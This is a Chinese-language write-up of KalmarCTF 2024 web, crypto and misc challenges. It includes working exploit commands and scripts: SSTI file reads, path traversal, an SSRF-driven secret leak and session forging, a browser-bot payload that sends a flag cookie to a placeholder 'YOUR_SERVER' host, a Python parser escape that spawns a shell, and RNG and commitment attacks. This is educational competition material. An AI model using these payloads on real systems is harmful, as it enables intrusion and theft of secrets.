KalmarCTF 2024 WriteUps
和 ${cystick} 打了這場比賽,主要解了幾題 web/crypto/misc 而已。
Web
Ez ⛳ v2
這題就個 caddy server:
(sec_headers) {
root * /
header {
Content-Security-Policy "default-src 'none'; frame-ancestors 'none'; base-uri 'none';"
Strict-Transport-Security "max-age=31536000"
X-XSS-Protection 0
X-Content-Type-Options nosniff
X-Frame-Options DENY
Referrer-Policy "no-referrer"
}
}
(html_reply) {
import sec_headers
header Content-Type text/html
templates
respond "<!DOCTYPE html><meta charset=utf-8><title>{http.request.host}</title><body>{args[0]}</body>"
}
(json_reply) {
templates {
# By default placeholders are not replaced for json
mime application/json
}
header Content-Type application/json
respond "{args[0]}"
}
(http_reply) {
tls internal {
alpn "{args[0]}"
}
map {args[0]} {proto_name} {
http/1.1 HTTP/1.1
h2 HTTP/2.0
h3 HTTP/3.0
}
@correctALPN `{http.request.proto} == {proto_name}`
respond @correctALPN "You are connected with {http.request.proto} ({tls_version}, {tls_cipher})."
import html_reply "You are connected with {http.request.proto} instead of {proto_name} ({tls_version}, {tls_cipher}). <!-- Debug: {http.request.uuid}-->"
}
(tls_reply) {
tls internal {
protocols {args[0]} {args[1]}
}
header Access-Control-Allow-Origin "*"
import json_reply {"tls_version":"{tls_version}","alpn":"{http.request.tls.proto}","sni":"{http.request.tls.server_name}","cipher_suite":"{http.request.tls.cipher_suite}"}
}
mtls.caddy.chal-kalmarc.tf {
tls internal {
client_auth {
mode require
}
}
templates
import html_reply `You are connected with client-cert {http.request.tls.client.subject}`
}
tls.caddy.chal-kalmarc.tf {
import tls_reply tls1.2 tls1.3
}
tls12.caddy.chal-kalmarc.tf {
import tls_reply tls1.2 tls1.2
}
tls13.caddy.chal-kalmarc.tf {
import tls_reply tls1.3 tls1.3
}
ua.caddy.chal-kalmarc.tf {
tls internal
templates
import html_reply `User-Agent: {{.Req.Header.Get "User-Agent"}}`
}
http.caddy.chal-kalmarc.tf {
tls internal
templates
import html_reply "You are connected with {http.request.proto} ({tls_version}, {tls_cipher})."
}
http1.caddy.chal-kalmarc.tf {
import http_reply http/1.1
}
http2.caddy.chal-kalmarc.tf {
import http_reply h2
}
http3.caddy.chal-kalmarc.tf {
import http_reply h3
}
caddy.chal-kalmarc.tf {
tls internal
import html_reply `Hello! Wanna know you if your browser supports <a href="https://http1.caddy.chal-kalmarc.tf/">http/1.1</a>? <a href="https://http2.caddy.chal-kalmarc.tf/">http/2</a>? Or fancy for some <a href="https://http3.caddy.chal-kalmarc.tf/">http/3</a>?! Check your preference <a href="https://http.caddy.chal-kalmarc.tf/">here</a>.<br/>We also allow you to check <a href="https://tls12.caddy.chal-kalmarc.tf/">TLS/1.2</a>, <a href="https://tls13.caddy.chal-kalmarc.tf/">TLS/1.3</a>, <a href="https://tls.caddy.chal-kalmarc.tf/">TLS preference</a>, supports <a href="https://mtls.caddy.chal-kalmarc.tf/">mTLS</a>? Checkout your <a href="https://ua.caddy.chal-kalmarc.tf/">User-Agent</a>!<!-- At some point we might even implement a <a href="https://flag.caddy.chal-kalmarc.tf/">flag</a> endpoint! -->`
}
它 user-agent 可以注入 SSTI,因為它用了個 templates 的功能,所以讀一下文件可以知道它有讀取檔案列表和讀檔的功能,簡單就拿到 flag 了:
curl https://ua.caddy.chal-kalmarc.tf/ --user-agent '{{ listFiles "/" }}'
curl https://ua.caddy.chal-kalmarc.tf/ --user-agent '{{ include "/CVGjuzCIVR99QNpJTLtBn9" }}'
# kalmar{Y0_d4wg_I_h3rd_y0u_l1k3_templates_s0_I_put_4n_template_1n_y0ur_template_s0_y0u_c4n_readFile_wh1le_y0u_executeTemplate}
BadAss Server for Hypertext
沒給 code,但是從題目名稱和回傳的 header 可知它是用 bash 寫的,所以我猜有 path traveral:
> printf 'GET /assets/../../../../etc/passwd HTTP/1.0\r\n\r\n' | nc chal-kalmarc.tf 8080
HTTP/1.0 200 OK
Content-Type: text/plain
X-Powered-By: Bash
Content-Length: 839
Connection: close
root:x:0:0:root:/root:/bin/bash
...
用 /proc/1/cmdline
發現 code 在 /app/badass_server.sh
:
#!/bin/bash
# I hope there are no bugs in this source code...
set -e
declare -A request_headers
declare -A response_headers
declare method
declare uri
declare protocol
declare request_body
declare status="200 OK"
abort() {
declare -gA response_headers
status="400 Bad Request"
write_headers
if [ ! -z ${1+x} ]; then
>&2 echo "Request aborted: $1"
echo -en $1
fi
exit 1
}
write_headers() {
response_headers['Connection']='close'
response_headers['X-Powered-By']='Bash'
echo -en "HTTP/1.0 $status\r\n"
for key in "${!response_headers[@]}"; do
echo -en "${key}: ${response_headers[$key]}\r\n"
done
echo -en '\r\n'
>&2 echo "$(date -u +'%Y-%m-%dT%H:%M:%SZ') $SOCAT_PEERADDR $method $uri $protocol -> $status"
}
receive_request() {
read -d $'\n' -a request_line
if [ ${#request_line[@]} != 3 ]; then
abort "Invalid request line"
fi
method=${request_line[0]}
uri=${request_line[1]}
protocol=$(echo -n "${request_line[2]}" | sed 's/^\s*//g' | sed 's/\s*$//g')
if [[ ! $method =~ ^(GET|HEAD)$ ]]; then
abort "Invalid request method"
fi
if [[ ! $uri =~ ^/ ]]; then
abort 'Invalid URI'
fi
if [ $protocol != 'HTTP/1.0' ] && [ $protocol != 'HTTP/1.1' ]; then
abort 'Invalid protocol'
fi
while read -d $'\n' header; do
stripped_header=$(echo -n "$header" | sed 's/^\s*//g' | sed 's/\s*$//g')
if [ -z "$stripped_header" ]; then
break;
fi
header_name=$(echo -n "$header" | cut -d ':' -f 1 | sed 's/^\s*//g' | sed 's/\s*$//g' | tr '[:upper:]' '[:lower:]');
header_value=$(echo -n "$header" | cut -d ':' -f 2- | sed 's/^\s*//g' | sed 's/\s*$//g');
if [ -z "$header_name" ] || [[ "$header_name" =~ [[:space:]] ]]; then
abort "Invalid header name";
fi
# If header already exists, add value to comma separated list
if [[ -v request_headers[$header_name] ]]; then
request_headers[$header_name]="${request_headers[$header_name]}, $header_value"
else
request_headers[$header_name]="$header_value"
fi
done
body_length=${request_headers["content-length"]:-0}
if [[ ! $body_length =~ ^[0-9]+$ ]]; then
abort "Invalid Content-Length"
fi
read -N $body_length request_body
}
handle_request() {
# Default: serve from static directory
path="/app/static$uri"
path_last_character=$(echo -n "$path" | tail -c 1)
if [ "$path_last_character" == '/' ]; then
path="${path}index.html"
fi
if ! cat "$path" > /dev/null; then
status="404 Not Found"
else
mime_type=$(file --mime-type -b "$path")
file_size=$(stat --printf="%s" "$path")
response_headers["Content-Type"]="$mime_type"
response_headers["Content-Length"]="$file_size"
fi
write_headers
cat "$path" 2>&1
}
receive_request
handle_request
然後我用 shellcheck
檢查:
> shellcheck server.sh
In server.sh line 19:
if [ ! -z ${1+x} ]; then
^-- SC2236 (style): Use -n instead of ! -z.
In server.sh line 21:
echo -en $1
^-- SC2086 (info): Double quote to prevent globbing and word splitting.
Did you mean:
echo -en "$1"
In server.sh line 42:
read -d $'\n' -a request_line
^--^ SC2162 (info): read without -r will mangle backslashes.
In server.sh line 62:
if [ $protocol != 'HTTP/1.0' ] && [ $protocol != 'HTTP/1.1' ]; then
^-------^ SC2086 (info): Double quote to prevent globbing and word splitting.
^-------^ SC2086 (info): Double quote to prevent globbing and word splitting.
Did you mean:
if [ "$protocol" != 'HTTP/1.0' ] && [ "$protocol" != 'HTTP/1.1' ]; then
In server.sh line 66:
while read -d $'\n' header; do
^--^ SC2162 (info): read without -r will mangle backslashes.
In server.sh line 94:
read -N $body_length request_body
^--^ SC2162 (info): read without -r will mangle backslashes.
^----------^ SC2086 (info): Double quote to prevent globbing and word splitting.
^----------^ SC2034 (warning): request_body appears unused. Verify use (or export if used externally).
Did you mean:
read -N "$body_length" request_body
For more information:
https://www.shellcheck.net/wiki/SC2034 -- request_body appears unused. Veri...
https://www.shellcheck.net/wiki/SC2086 -- Double quote to prevent globbing ...
https://www.shellcheck.net/wiki/SC2162 -- read without -r will mangle backs...
看起來最可疑的是 [ $protocol != 'HTTP/1.0' ]
,那邊因為沒 quote 所以如果變數中有空白 ($IFS
) 的話會自動做 word splitting。所以那邊如果有 protocol='-f /path/to/file -a x'
的話就能判斷一個檔案是否存在,且那個檔案路徑是可以用 glob 的。
不過有個小問題是 $protocol
來自 $request_line[2]
,然後 $request_line
又來自 read -d $'\n' -a request_line
,這代表它讀入一個字串後按空白切開成 array,因此 $protocol
就不能包含空白了?! 不過這其實也好解決,看 shellcheck 的輸出說它因為沒有 -r
所以會特別處理 \
,做了一些測試發現說只要在空白前加上 \
就行了,因此有這個結果:
> printf 'GET / -f\ /etc/passw?\ -a\ x\ \r\n\r\n' | nc chal-kalmarc.tf 8080
HTTP/1.0 400 Bad Request
X-Powered-By: Bash
Connection: close
Invalid protocol
> printf 'GET / -f\ /etc/passx?\ -a\ x\ \r\n\r\n' | nc chal-kalmarc.tf 8080
HTTP/1.0 200 OK
Content-Type: text/html
X-Powered-By: Bash
Content-Length: 518
Connection: close
<!DOCTYPE html>
...
然後它首頁的 html 中有 assets/f200d055a267ae56160198e0fcb47e5f/try_harder.txt
之類的 path,所以花了一些時間後猜出 flag
放在 assets/unknown_hash/flag.txt
中,所以這邊就用 glob 去一個一個字元爆 hash 就出來了:
from pwn import remote, context
import string
from concurrent.futures import ThreadPoolExecutor
def guess(prefix):
context.log_level = "error"
io = remote("chal-kalmarc.tf", 8080)
io.send(
f"GET / -f\ /app/static/assets/{prefix}*/flag.txt\ -a\ x\r\n\r\n".encode()
)
return b"400 Bad Request" in io.recvall()
chrs = string.hexdigits
prefix = ""
while len(prefix) < 32:
with ThreadPoolExecutor() as executor:
futures = [executor.submit(guess, prefix + c) for c in chrs]
for fut, c in zip(futures, chrs):
if fut.result():
prefix += c
print(prefix)
break
# printf 'GET /assets/../../../../app/static/assets/9df5256fe48859c91122cb92964dbd66/flag.txt HTTP/1.0\r\n\r\n' | nc chal-kalmarc.tf 8080
# kalmar{17b29adf_bash_web_server_was_a_mistake_374add33}
最後還可以發現 hash 其實就是檔案的 md5:
> printf 'kalmar{17b29adf_bash_web_server_was_a_mistake_374add33}' | md5sum
9df5256fe48859c91122cb92964dbd66 -
Is It Down
沒 code 的 SSRF 題,亂試發現可以用 redirect to file://
去 LFR,然後用 procfs 找到 /etc/uwsgi/uwsgi-custom.ini
,然後就找到 source code 了。
curl -s 'http://is-it-down.chal-kalmarc.tf/check' --data-urlencode 'url=https://httpbin.org/redirect-to?url=file:///var/www/keep-dreaming-sonny-boy/app.py' | jq -r .content | sed 's/\\n/\n/g' | sed 's/\\t/\t/g' | sed "s/\\\\'/'/g"
app.py
:
from flask import Flask, request, send_from_directory, session, abort
from requestlib import fetch
from config import session_encryption_key
import subprocess, os
def protect_secrets():
os.unlink("config.py")
def check_url(url):
if not isinstance(url, str) or len(url) == 0:
return False, "Please provide a regular url!"
if not url.startswith("https://") or url.lstrip() != url:
return False, "Url must start with 'https://'. We do not want anything insecure here!"
return True, ""
app = Flask(__name__, static_folder='static', static_url_path='/assets/')
app.secret_key = session_encryption_key
print("Using key: ", app.secret_key)
protect_secrets()
@app.route('/', methods=['GET'])
def home():
return send_from_directory('pages','index.html')
@app.route('/flag', methods=['GET'])
def healthcheck():
if session.get("admin") == True:
return subprocess.check_output("/readflag")
else:
return abort(403)
@app.route('/check', methods=['POST'])
def check():
url = request.form.get("url")
valid, err = check_url(url)
if not valid:
return {
'success': False,
'error': err
}
if True:
content = fetch(url)
return {
'success': True,
'online': content != None,
'content': content
}
if __name__ == "__main__":
app.run(host='0.0.0.0', port=10600, debug=False)
requestlib.py
:
from urllib.request import urlopen, HTTPErrorProcessor, install_opener, build_opener, Request
import urllib
class NoRedirection(HTTPErrorProcessor):
def http_response(self, request, response):
return response
https_response = http_response
install_opener(build_opener(NoRedirection()))
def fetch(url, follow_redirects = True):
'''
Avoid endless redirect loops
'''
headers = {
"User-Agent": "requestlib 2.9-alpha"
}
req = Request(url, headers=headers)
print("Url: ", url, follow_redirects, flush=True)
with urlopen(req) as res:
redirect_url = res.headers["Location"]
if redirect_url and follow_redirects:
return fetch(redirect_url, follow_redirects=False)
return str(res.read())[2:-1]
讀一下可以知道目標是要 sign session,所以要知道 config.py
中的 secret key,但是那個檔案也已經被刪了,而它 print 的地方是寫到 output 去。可是這題的 uwsgi config 又沒有做 log to file:
[uwsgi]
uid = www-data
gid = www-data
master = true
processes = 20
http-socket = 0.0.0.0:5000
chmod-sock = 664
vacuum = true
die-on-term = true
wsgi-file = /var/www/keep-dreaming-sonny-boy/app.py
callable = app
pythonpath = /usr/local/lib/python3.11/site-packages
後來在這邊卡了一段時間後才想到 import 的檔案有 pyc cache,依照版本 python 3.11 來說 config.py
應該 cache 在 __pycache__/config.cpython-311.pyc
:
> curl -s 'http://is-it-down.chal-kalmarc.tf/check' --data-urlencode 'url=https://httpbin.org/redirect-to?url=file:///var/www/keep-dreaming-sonny-boy/__pycache__/config.cpython-311.pyc' | jq -r .content
\xa7\r\r\n\x00\x00\x00\x00:\xbe\xf5e;\x00\x00\x00\xe3\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x01\x00\x00\x00\x00\x00\x00\x00\xf3\n\x00\x00\x00\x97\x00d\x00Z\x00d\x01S\x00)\x02\xda Rm7GbQJ4uDikyiis6miD7YwsN11rEjfLN)\x01\xda\x16session_encryption_key\xa9\x00\xf3\x00\x00\x00\x00\xfa*/var/www/keep-dreaming-sonny-boy/config.py\xfa\x08<module>r\x07\x00\x00\x00\x01\x00\x00\x00s\x11\x00\x00\x00\xf0\x03\x01\x01\x01\xd8\x19;\xd0\x00\x16\xd0\x00\x16\xd0\x00\x16r\x05\x00\x00\x00
我這邊用 pylingual.io 解 pyc: results
顯然 secret key 是 Rm7GbQJ4uDikyiis6miD7YwsN11rEjfL
,然後就可以 sign session 拿 flag:
> flask-unsign --secret 'Rm7GbQJ4uDikyiis6miD7YwsN11rEjfL' --cookie "{'admin': True}" --sign
eyJhZG1pbiI6dHJ1ZX0.ZfcwFw.pkOhk2XDZZ6IBYHmrRCsmtOir_Y
> curl -s 'http://is-it-down.chal-kalmarc.tf/flag' --cookie 'session=eyJhZG1pbiI6dHJ1ZX0.ZfcwFw.pkOhk2XDZZ6IBYHmrRCsmtOir_Y'
kalmar{Rem3Mbr_T0_fl0sh!}
No eXcuSeS
這題的網站基本上一看就知道不能 XSS,而 bot.js
長這樣:
const puppeteer = require('puppeteer');
const FLAG = 'kalmar{this_is_a_test_flag!!}';
const HOST = "http://localhost:7357";
const sleep = ms => new Promise(r => setTimeout(r, ms));
async function visit(url) {
let browser;
try {
browser = await puppeteer.launch({
headless: "new",
args: [
"--no-sandbox",
"--disable-dev-shm-usage",
"--disable-setuid-sandbox",
"--js-flags=--noexpose_wasm,--jitless",
],
});
let page = await browser.newPage();
await page.goto(HOST, { timeout: 1000, waitUntil: 'domcontentloaded' });
await page.evaluate((flag) => {
document.cookie = "flag=" + flag + "; path=/";
}, FLAG);
await page.close();
page = await browser.newPage();
await page.goto(url, { timeout: 3000, waitUntil: 'domcontentloaded' })
await sleep(2000);
await browser.close();
browser = null;
} catch (err) {
console.log(err);
} finally {
if (browser) await browser.close();
}
}
module.exports = { visit };
而 app.js
呼叫它的地方是這麼做的:
app.post('/report', (req, res) => {
const url = req.body.url;
visit(url);
res.send('Bot is visiting your url');
});
顯然它沒對 url
做任何檢查,所以不只有 http:
, https:
url 能用。
嘗試使用 javascript:
url 的話它確實會嘗試執行,但是又會同時觸發 net::ERR_ABORTED 這個錯誤,導致進入 catch 後又進到 finally,所以 browser 就被關了。
想一下會發現還有個是 file:
url 能用,例如 file:///app/bot.js
就會把上面的 bot.js
顯示在瀏覽器上。仔細想一下會發現既然能載入,如果有方法能透過 <script>
把它引入的話不就能 leak flag 了嗎?
雖然一般從 http:
或是 https:
的頁面是不能 embed file:
的資源,但是只要頁面本身也是 file:
的話就可以了,因此只要找個方法能在檔案系統上留下一個 html,裡面內容可控的方法就行。
用 Content-Disposition
的問題是一樣會得到 net::ERR_ABORTED,所以就改用 javascript + <a href="..." download="...">
的方式就成功了:
<script type="module">
const blob = new Blob([`
<script>
require = () => {}
module = {}
<\/script>
<script src="file:///app/bot.js"><\/script>
<script>
location = 'https://YOUR_SERVER/flag?flag=' + encodeURIComponent(FLAG)
<\/script>
`])
const a = document.createElement('a')
a.href = URL.createObjectURL(blob)
a.download = 'peko.html'
document.body.appendChild(a)
a.click()
</script>
讓它瀏覽強制下載檔案,之後然後再瀏覽一次 file:///root/Downloads/peko.html
就能拿 flag: kalmar{wow_you_dont_need_excuses!-please_send_us_a_dm_with_your_solution!}
Crypto
Cracking The Casino
#!/usr/bin/python3
from Pedersen_commitments import gen, commit, verify
# I want to host a trustworthy online casino!
# To implement blackjack and craps in a trustworthy way i need verifiable dice and cards!
# I've used information theoretic commitments to prevent players from cheating.
# Can you audit these functionalities for me ?
from random import randint
# Verifiable Dice roll
def roll_dice(pk):
roll = randint(1,6)
comm, r = commit(pk,roll)
return comm, roll, r
# verifies a dice roll
def check_dice(pk,comm,guess,r):
res = verify(pk,comm, r, int(guess))
return res
# verifiable random card:
def draw_card(pk):
idx = randint(0,51)
# clubs spades diamonds hearts
suits = "CSDH"
values = "234567890JQKA"
value = values[idx%13]
suit = suits[idx//13]
card = value + suit
comm, r = commit(pk, int(card.encode().hex(),16))
return comm, card, r
# take a card (as two chars, fx 4S = 4 of spades) and verifies it was the committed card
def check_card(pk, comm, guess, r):
res = verify(pk, comm, r, int(guess.encode().hex(),16))
return res
# Debug testing values for larger values
def debug_test(pk):
dbg = randint(0,2**32-2)
comm, r = commit(pk,dbg)
return comm, dbg, r
# verify debug values
def check_dbg(pk,comm,guess,r):
res = verify(pk,comm, r, int(guess))
return res
def audit():
print("Welcome to my (beta test) Casino!")
q,g,h = gen()
pk = q,g,h
print(f'public key for Pedersen Commitment Scheme is:\nq = {q}\ng = {g}\nh = {h}')
chosen = input("what would you like to play?\n[D]ice\n[C]ards")
if chosen.lower() == "d":
game = roll_dice
verif = check_dice
elif chosen.lower() == "c":
game = draw_card
verif = check_card
else:
game = debug_test
verif = check_dbg
correct = 0
# If you can guess the committed values more than i'd expect, then
for _ in range(1337):
if correct == 100:
print("Oh wow, you broke my casino??!? Thanks so much for finding this before launch so i don't lose all my money to cheaters!")
with open("flag.txt","r") as f:
flag = f.read()
print(f"here's that flag you wanted, you earned it! {flag}")
exit()
comm, v, r = game(pk)
print(f'Commitment: {comm}')
g = input(f'Are you able to guess the value? [Y]es/[N]o')
if g.lower() == "n":
print(f'commited value was {v}')
print(f'randomness used was {r}')
print(f'verifies = {verif(pk,comm,v,r)}')
elif g.lower() == "y":
guess = input(f'whats your guess?')
if verif(pk, comm, guess, r):
correct += 1
print("Oh wow! well done!")
else:
print("That's not right... Why are you wasting my time if you haven't broken anything?")
exit()
print(f'Guess my system is secure then! Lets go ahead with the launch!')
exit()
if __name__ == "__main__":
audit()
很簡單,randint
來自 random
,用 debug_test
leak 值出來解 MT19937 就行了:
from z3 import *
from z3mt import *
from random import randint, Random
from pwn import process, remote
def gen():
return randint(0, 2**32 - 2)
def predict(outputs):
state = [BitVec(f"state_{i}", 32) for i in range(N)]
sol = Solver()
for s, o in zip(mt_gen_sol(sol, state), outputs):
sol.add(s == o)
with timeit("z3 solving"):
assert sol.check() == sat
m = sol.model()
state = [m.evaluate(s).as_long() for s in state]
r = Random()
r.setstate((3, tuple(state + [624]), None))
for v in outputs:
assert r.getrandbits(32) == v
return r
# io = process(["python", "casino.py"])
io = remote("chal-kalmarc.tf", 9)
io.recvuntil(b"q = ")
q = int(io.recvline().strip())
io.recvuntil(b"g = ")
g = int(io.recvline().strip())
io.recvuntil(b"h = ")
h = int(io.recvline().strip())
io.sendline(b"x")
io.sendline(b"n\n" * (N + 5))
outputs = []
for _ in range(N + 5):
io.recvuntil(b"commited value was ")
outputs.append(int(io.recvline().strip()))
print("received")
rand = predict(outputs)
rand.randint(0, 2**32 - 2)
for _ in range(100):
io.sendline(b"y")
io.sendline(str(rand.randint(0, 2**32 - 2)).encode())
io.interactive()
# Kalmar{First_Crypto_Down!}
Re-Cracking The Casino
server 程式的部分和前面差不多,diff:
10c10,11
< from random import randint
---
> # Thanks for the feedback, I'll use secure randomness then!
> from Crypto.Random.random import randint
53c54
< print("Welcome to my (beta test) Casino!")
---
> print("Welcome to my (Launch day!) Casino!")
70,73c71,75
< # If you can guess the committed values more than i'd expect, then
< for _ in range(1337):
< if correct == 100:
< print("Oh wow, you broke my casino??!? Thanks so much for finding this before launch so i don't lose all my money to cheaters!")
---
>
> # Should be secure now :)
> for _ in range(256):
> if correct == 250:
> print("Oh wow, you broke my casino again??!? That's impossible!")
就把 randint
修正後並提高了要求猜對的比例而已。然後 Perderson_commitments.py
和前面是一樣的:
from Crypto.Util.number import getStrongPrime
from Crypto.Random.random import randint
## Implementation of Pedersen Commitment Scheme
## Computationally binding, information theoreticly hiding
# Generate public key for Pedersen Commitments
def gen():
q = getStrongPrime(1024)
g = randint(1,q-1)
s = randint(1,q-1)
h = pow(g,s,q)
return q,g,h
# Create Pedersen Commitment to message x
def commit(pk, m):
q, g, h = pk
r = randint(1,q-1)
comm = pow(g,m,q) * pow(h,r,q)
comm %= q
return comm,r
# Verify Pedersen Commitment to message x, with randomness r
def verify(param, c, r, x):
q, g, h = param
if not (x > 1 and x < q):
return False
return c == (pow(g,x,q) * pow(h,r,q)) % q
可以看到它選 g
的時候沒限制說 g
一定是個 primt order subgroup 的 generator,所以有機會 leak 資訊。
我的方法是透過選 符合:
這樣收到 的時候只要開個次方得到:
而 dice 的選項中 只有六種可能,因此這兩個就足夠定出 了。不過實際上有個小問題是 verify
中它不接受 (作者說是 bug),所以還要找方法處理。
我的方法就再給 多個條件要求 而已。
from pwn import process, remote, context
from Pedersen_commitments import commit
from Crypto.Util.number import sieve_base
def connect():
# io = process(["python", "casino.py"])
io = remote("casino-2.chal-kalmarc.tf", 13337)
io.recvuntil(b"q = ")
q = int(io.recvline().strip())
io.recvuntil(b"g = ")
g = int(io.recvline().strip())
io.recvuntil(b"h = ")
h = int(io.recvline().strip())
return io, q, g, h
def find_one(q, g, h):
# idk why but the remote refused to accept x = 1 at all
# so we want to ensure g^((q-1) / x) = g for some x that is not 2 or 3
for p in sieve_base:
if p in (2, 3):
continue
if (q - 1) % p == 0 and pow(g, (q - 1) // p, q) == 1:
return (q - 1) // p + 1
while True:
io, q, g, h = connect()
checks = [
(q - 1) % 6 == 0,
pow(g, (q - 1) // 2, q) != 1,
pow(g, (q - 1) // 3, q) != 1,
pow(h, (q - 1) // 2, q) == 1,
pow(h, (q - 1) // 3, q) == 1,
]
if all(checks):
one = find_one(q, g, h)
if one is not None:
break
print("checks passed but no one found")
io.close()
pk = q, g, h
with open("pk", "w") as f:
f.write(repr(pk))
def hc(c):
return pow(c, (q - 1) // 2, q), pow(c, (q - 1) // 3, q)
tbl = {}
for m in range(1, 7):
c, _ = commit(pk, m)
tbl[hc(c)] = m
print(tbl)
for _ in range(10):
for m in range(1, 7):
c, _ = commit(pk, m)
assert tbl[hc(c)] == m
context.log_level = "debug"
io.sendline(b"d")
for _ in range(250):
io.recvuntil(b"Commitment: ")
c = int(io.recvline().strip())
m = tbl[hc(c)]
if m == 1: # qq
m = one
io.sendline(b"y")
io.sendline(str(m).encode())
io.interactive()
# Kalmar{Why_call_it_strong_if_its_so_weak...}
Misc
Docstring Prison
server.py
:
print('Can you help us write a docstring for our python code?\nPlease give us the docstring that you want, end with "END"')
docstring = ''
user_input = input('> ')
while user_input != "END":
docstring += user_input + '\n'
user_input = input('> ')
# Let's make sure the docstring is not terminated:
while '"""' in docstring:
print('replace')
docstring = docstring.replace('"""', '')
if len(docstring) > 100:
print('Docstring too long')
quit()
docstring = '"""\n' + docstring + '\n"""\n'
with open('code_to_comment.py', 'r') as rf:
source = rf.read()
# Write new file
new_python_file = docstring + source
package_name = 'commented_code'
new_filename = package_name + '.py'
with open(new_filename, 'w') as wf:
wf.write(new_python_file)
import os
os.system('python commented_code.py')
code_to_comment.py
:
# Let's just make sure we don't run anything:
quit()
from flag import flag
print(flag)
這題還特別用了 python:3.11.3@sha256:3a619e3c96fd4c5fc5e1998fd4dcb1f1403eb90c4c6409c70d7e80b9468df7df
的 docker image。
總之這題難點在於要怎麼不用 """
從 python 的 multi-line string 中脫離。我是自己亂試後發現出現 null byte \x00
時它會有奇怪的 syntax error,發現說有這個問題: mishandling of c-strings in parser。
簡單來說 python 的 code 大致上是先用 line-delimiter 去切開然後每行都視為一個 C null-terminated string 處裡,所以說以下的 code 會輸出 123
:
x = 'asd\0'
';print(123)#'
這邊的
\x00
要真的視為是一個 null byte 而不是字串中的 escape所以它其實相當於
x = 'asd';print(123)#'
因此只要把 "
都換成 "\x00\n
就能繞過了:
import tokenize, io
# docstring = '\n"\x00\n"\x00\n"\nimport os;os.system(\'sh\')\n"\x00\n"\x00\n"'
docstring = '""";import os;os.system(\'sh\');"""'.replace('"', '"\x00\n')
assert '"""' not in docstring
with open("payload", "w") as f:
f.write(docstring)
# (cat payload; printf '\nEND\n'; cat) | nc chal-kalmarc.tf 8532
docstring = '"""\n' + docstring + '\n"""\n'
with open("code_to_comment.py", "r") as rf:
source = rf.read()
new_python_file = docstring + source
with open("x.py", "w") as wf:
wf.write(new_python_file)
Futuristic Secret Storage
Dockerfile
:
FROM python:latest
RUN apt update && apt install -y socat
COPY flagwriter /flagwriter
EXPOSE 7223
CMD socat tcp-l:7223,reuseaddr,fork exec:"script -qc /flagwriter /dev/null"
/flagwriter
:
#!/usr/bin/env python3
print("kalmar{this_is_a_test_flag}", file=open("/dev/null", 'w'))
這題就這樣而已,正常會感覺這根本不可能解。不過翻一下 script
的 man page 可以知道它會模擬 terminal 的行為,所以一些特殊的 control sequence 都會被解讀。
其中 \x03
對應到 Ctrl-C
,也就是發送 SIGINT,這邊只要配合 race 就有機會讓它在 print
那行被中斷 (KeyboardInterrupt
),然後 error 就會顯示出 flag 了:
while true; do (sleep 0.0001; printf '\x03\n') | nc futuristic_secret_storage.chal-kalmarc.tf 7223 & ; done
會出現這種錯誤:
print("kalmar{who_knew_you_could_just_COPY_our_secrets...}", file=open("/dev/null", 'w'))
^^^^^^^^^^^^^^^^^^^^^^
File "<frozen codecs>", line 186, in __init__
KeyboardInterrupt